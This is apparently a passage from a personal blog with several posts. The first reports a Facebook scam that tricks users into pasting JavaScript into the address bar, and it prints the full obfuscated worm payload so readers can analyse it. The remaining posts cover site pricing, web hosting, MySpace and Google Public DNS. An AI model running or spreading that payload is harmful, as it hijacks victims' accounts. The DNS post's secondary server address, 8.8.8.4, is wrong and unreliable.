This morning I got an e-mail … the typical “[Person] suggested you like [Something]” from Facebook. Typically, this kind of stuff is SPAM; but I checked it out anyways. However, when I got to the page, I didn’t observe just spam; in fact, I observed a cunning exploitation which allows the page to run whatever Javascript code it wishes. It uses a combination of social engineering to prompt the user to perform actions to get a ‘reward’. In the process, the user inadvertently executes Javascript code in their browser.

Watch this video I recorded to see it live in action:

In essence, this is how this exploit works:

1. The user wishes to view a video, and so clicks a ‘View video’ button
2. The user is told that to watch the video, they must perform some certain actions:
   1. Click CTRL + C to copy some text
   2. Click ALT + D to select the browser’s address bar.
   3. Click CTRL + V, and then hit Enter.

And that’s it! The worm has been able to do pretty much whatever it wishes with the user’s Facebook page.

The code copied to the address bar was this:

javascript: (function () {
    a = 'app110436432334612_jop';
    b = 'app110436432334612_jode';
    ifc = 'app110436432334612_ifc';
    ifo = 'app110436432334612_ifo';
    mw = 'app110436432334612_mwrapper';
    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                return r[e]
            }];
            e = function () {
                return '\\w+'
            };
            c = 1
        };
        while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
        return p
    }('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);', 62, 69, '||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'), 0, {}))
})();

I’m currently trying to work out what exactly this code is doing (without executing it). I will post an update when (and if) I figure it out; feel free to comment if you get there before me. I suspect it is a worm.

Last month I re-built and re-launched MTW:ED, a expiring domain name data web-service. In terms of the data that MTW:ED collects, nothing has changed. The aim of the re-make was simple: make it easier for both new and existing subscribers to see what MTW:ED does, access MTW:ED’s data and ultimately subscribe to the service.

Since re-launching, I have seen MTW:ED’s subscription income increase by more than 33%, and it is anticipated that many more existing subscribers will renew their subscription. I wanted to share with you what I have done to increase sales, and give a comparison with the new and old website.

The old version of MTW:ED was a bit confusing. The data was not presented well, and it was difficult to immediately grasp what MTW:ED did. This obviously presented some disadvantages in getting subscribers, as they didn’t exactly know what they were getting for their subscription fee.

The new MTW:ED has been re-designed with this problem in mind. We now have a dedicated homepage which explains exactly what we do. We understand that some users don’t like to read a lot of text, and there are often better ways to communicate. This is why we created a ‘welcome video’-style banner which gives users some key information (stats) and shows some screenshots of the site in use. You can see our video here:

The video isn’t the best in the world, but it does the trick. For your curiosity, the video was created using Adobe Premiere Pro CS4 and uses stock audio from iStockPhoto: Aspects (Loop A).

Another central consideration was to make it easy for visitors to see our sample data and use our sample search tool. We knew from the old site that the average subscriber visited 23 pages per visit. Our re-design increased this figure up to a surprising 73 pages/visit (compared to 7 for all visitors), with each user spending 30 minutes browsing before subscribing. This demonstrates that users who do subscribe like to know exactly what they are getting — even if it is just $4.99 per month, they like to know it is $4.99 well spent. In fact, one user spent 2 hours browsing before subscribing and another viewed 220 pages. This is how we did it:

Rather than treating subscription as a ‘subsidiary option’, we wanted to make it an integral part of the service. We wanted to devise a way of making users flow towards subscription, without forcing them to subscribe. We achieved this using our 3-step-tour-style navigational structure:

We broke-down what MTW:ED does into 3 fundamental stages. We wanted to first show users the data we collected because it is important that they form their own opinion of our service before they bounce. We engaged users by giving them access to almost an entire years-worth of data. This allowed them to see MTW:ED from a subscriber’s point of view, only with 3-month-old data. Similarly, we invited them to perform searches on a reduced data set.

The final stage was really the most important. If a visitor ended up on this page, it meant they were probably about to subscribe — in fact, 32% of visitors viewing this page ended up subscribing.

Previously, subscription was priced at $9.99 per month for access to data and search tool. We recognised that many users only used the browse-list data (not the search tool), so for the re-make we decided to re-consider the subscription options available. Again utilizing the Rule of 3, we separated our functionality into 3 subscription packages:

Silver is comparable to the old MTW:ED monthly subscription. It costs $4.50 more as many more users will opt for the Bronze subscription option instead. Our subscription price now ranges between $4.99 and $49.99, depending on need. The observed benefits of using multiple subscription options are:

1. We are able to target different ‘types’ of people, and offer each group a more suitable package for their needs.
2. It gives the appearance that, for example, Bronze subscription is being ‘given away’ as it is comparitevly much cheaper than Silver and Gold. This means users are more likely to subscribe because they are (or at least feel as if they are) taking a lesser risk.
3. It presents an opportunity for us to showcase concisely what MTW:ED offers, and provides an implied value to each of our features.

MTW:ED also created an advertising campaign with Google AdWords. Since MTW:ED serves a quite small and specific audience, many of our subscriptions come from users looking for us in search engines. Our natural search engine presence is enough for us to sustain the service, but we wanted to target more subscribers. Google AdWords is perfect because it allows us to ‘link up’ to those very specific users looking for a service like ours.

Our campaign so far has been moderately successful. We are about breaking even in terms of cost against revenue, and will hopefully increase ROI by optimising in the near future.

The average Google-AdWords-referred visitor is viewing 14 pages before subscribing or leaving, with the best performing keywords at around 90. They are also spending an average of 5 minutes browsing; with the best keywords, around 20 minutes.

We will continue to look at these figures and decide which keywords are simply not getting conversions and remove them from our campaign.

Okay: so I’ve done my bit of sharing. Now, it’s your turn: I want to hear what has worked for you, so please start a discussion by leaving a comment below.

Thanks,
Brendon.

I haven’t been on MySpace for a long time. In my opinion, it has become a useless website; social networking has moved on. Even when it was “in”, it was ugly and difficult to use. Since becoming dormant, I had no use for my account and decided to close it…

And then MySpace gave me yet another reason for dis-liking the site. They asked me why I wanted to leave. The options were:

• “I’m bored with MySpace”
• “I’m getting too much spam or too many friend requests”
• “I’m concerned about Privacy”
• “I’m getting too much email from MySpace”
• “There is too much drama”
• “Some other reason”

MySpace's 'Cancel Account' page

Crazily enough, these are radio options: It’s impossible to select them all. In fact, they are not interested in improving their service; they are interested in stopping you from leaving. Click any option, and you’ll be told you are wrong — apparently, there’s no valid reason for leaving MySpace. In fact, click “Some other reason” and you’ll be told it’s because you have no or few friends (same as option 1). What does “Too much drama” mean, anyway? Something to do with privacy, apparently:

MySpace's "Too much drama" resolution

So, Myspace: I am leaving, and you can’t stop me!

Rant over

Get My Goo (http://goo.gl/9wd5) has just lanched, making it easy to create goo.gl short links without using the Google Toolbar or Google Reader. Simply enter your URL and a cool goo.gl URL will be instantly created.

The cool bookmarklet allows you to create a short-link for any page you are visiting. Have a look at this screenshot:

Earlier this month, I had been suffering from extremely unstable service from (mt) MediaTemple; this caused quite considerable downtime. In fact, it was so bad that some of my hosted websites became unusable for 2 DAYS! I understand that hosts have problems from time to time, but 2 days!? This is just totally unacceptable, and so I decided to pack my bags and look for a more reliable host.

I had Linode (aff), a Virtual Private Server (VPS) host, in my bookmarks for quite a while; just in case I decided to move host in the future. A ‘Linode 360′ provides 360MB of RAM, 16 GB of storage and 200 GB of data transfer for a mere $19.95 per month. {(mt) MediaTemple offer ‘more’, but you are unlikely to get anywhere near using it without overaging on ‘GPUs’ or database usage; I was eventually forced to buy a MySQL container, and my sites receive very little traffic at all.}

I found the decision of web host a difficult choice to make. I ended up choosing a VPS (it was out of Slicehost and Linode) just to give it a go. And now, I don’t think I’ll ever go back. VPS has its disadvantages (like taking ages to set-up), granted; but the power and flexibility of it is something I couldn’t help but get exited about. With VPS, you don’t get stupid rules like ’5 cron jobs per account’; in fact, you can pretty much do whatever you like.

Take a look at a Pingdom report for Taxomation. Day four was when it moved over to Linode. 2 hours of downtime that day was due to the (mt) MediaTemple hosting, and the downtime on consecutive days due to problems I inflicted on the Linode account. (Maybe I should have got everything working before I migrated, no? .) With (mt) MediaTemple, page loads were typically taking 0.85s. With Linode, that time has been almost halved to 0.46s.

If you are looking for a new web host and know enough about web server software, why not give Linode a go? I’m sure you will not regret it! You can get there using my wonderful affiliate link (Why not?) or with this non-affiliate link.

Bye, bye MediaTemple!

Please share you web hosting experiences…

I have just received an e-mail from Google, with a Christmas gift:

Hello,

As we near the end of the year, we wanted to take a moment to thank you for the time, energy, commitment, and trust you’ve shared with us in 2009.

With sharing in mind, this year we’ve decided to do something a little different. We hope you’ll find it fits the spirit of the Christmas season.

We’re looking forward to working with you to build lasting success in 2010.

With best wishes for Christmas and the New Year,
Your Google Team

This gift is for someone very special: Everyone.
Because charities are experiencing their toughest year in decades, we have committed $20 million (£12.4 million) to helping those who help us all. Our gift to you is a gift to them. Merry Christmas.

Thanks Google! Merry Christmas!

Facebook are to charge £14.99 per month to access the site, in plans to be implemented July next year. Or so a Facebook group says.

Now, you would expect the ‘average’ person to see that this is a rumour. But over 800,000 members (currently growing strong at 250,000 per day) have signed up to demonstrate their naïvety. What’s more is that many people are already making plans to head back to MySpace. Maybe Facebook should put them out of their misery?

Wow.

A few days ago, I was thinking of ways to drive more traffic to 22Talk. Unlike my other websites, 22Talk’s traffic is more time dependent in that more than 1 user must be online at the same time for it to work at all (and lots more for it to work effectively).

I tried StumbleUpon Ads a few months ago, and that worked well: I managed to get around 50 simultaneous users online (for about 15 minutes, though). Unfortunately, only a small number of users from these campaigns returned to 22Talk, making the site useless again. And at $0.05 per visitor, I was unable to see how I would re-coup my costs.

But then, on Saturday, I had an epiphany: Rather than drive users to 22Talk, why not drive 22Talk to the users? And then, 22Talk on Facebook was born. It is more-or-less identical to how 22Talk worked before, but in the more social environment of Facebook. Because of Facebook’s great API, I have been able to make the site more user-orientated: If you find someone you like, you can now add them as a friend for life! (You can also go completely Anonymous, if you prefer).

The app is brand new (not in the directory yet). At the moment, you could be waiting a while for a stranger to come along — but please do wait. Please tell all of your Facebook friends to try it out, blog about this, and let’s see whether we can get enough users to get 22Talk rolling.

Merry Christmas!

Taxomation.com have just released ‘404 widget‘ — a useful tool for helping your site’s lost users. The widget looks at the URL a visitor tried to load, and extracts keywords from it. It then runs over to Yahoo! and finds related pages from your site — all just in time to be displayed to the visitor, who can choose a page or keep searching.

It is similar to Google’s widget, except that more than one page is displayed and text from the page is also included. The Taxomation widget can be customised for your site (changing colours, etc) and is simple to set-up: you just need to copy a little code, and everything works instantly. Why not grab yours now, and see what you think…

Here’s a live example for the page ‘http://webinfodb.net/api.html‘ rather than ‘http://webinfodb.net/api.php‘:

(If you are looking for another example, mis-type a URL on this site; it has the widget installed).

You may also be interested in reading the following about creating more useful 404 pages:

• Creating User Friendly 404 Pages (Coding Horror)
• Creating useful 404 pages (Google)
• A More Useful 404 (A List Apart)
• Make your 404 Page Useful (Blog for Profit)
• Usability: Create a 404 page that’s useful and relevant (azngamerboi 2.0)

Today, Google announced the release of Google Public DNS — a complete alternative to the Domain Name System (DNS) offered by your ISP, OpenDNS and similar services. Google claims that their DNS service is fast, secure, and — unlike many ISPs and OpenDNS — they promise never to filter, block or redirect DNS responses.

From previous experience, it can be expected that Google Public DNS will only get better — but I believe that its openness and performance are reason enough for it to be adopted now. I have already switched, and you can do the same in a few seconds.

If you know what you are doing, you can straight-away configure your connection to use Google’s DNS servers: 8.8.8.8 and 8.8.8.4.

Obviously, there is some anxiety amongst users about Google collecting more and more data all of the time. However, Google have addressed this with a stringent privacy policy, summed up as: ‘Google Public DNS does not permanently store personally identifiable information.’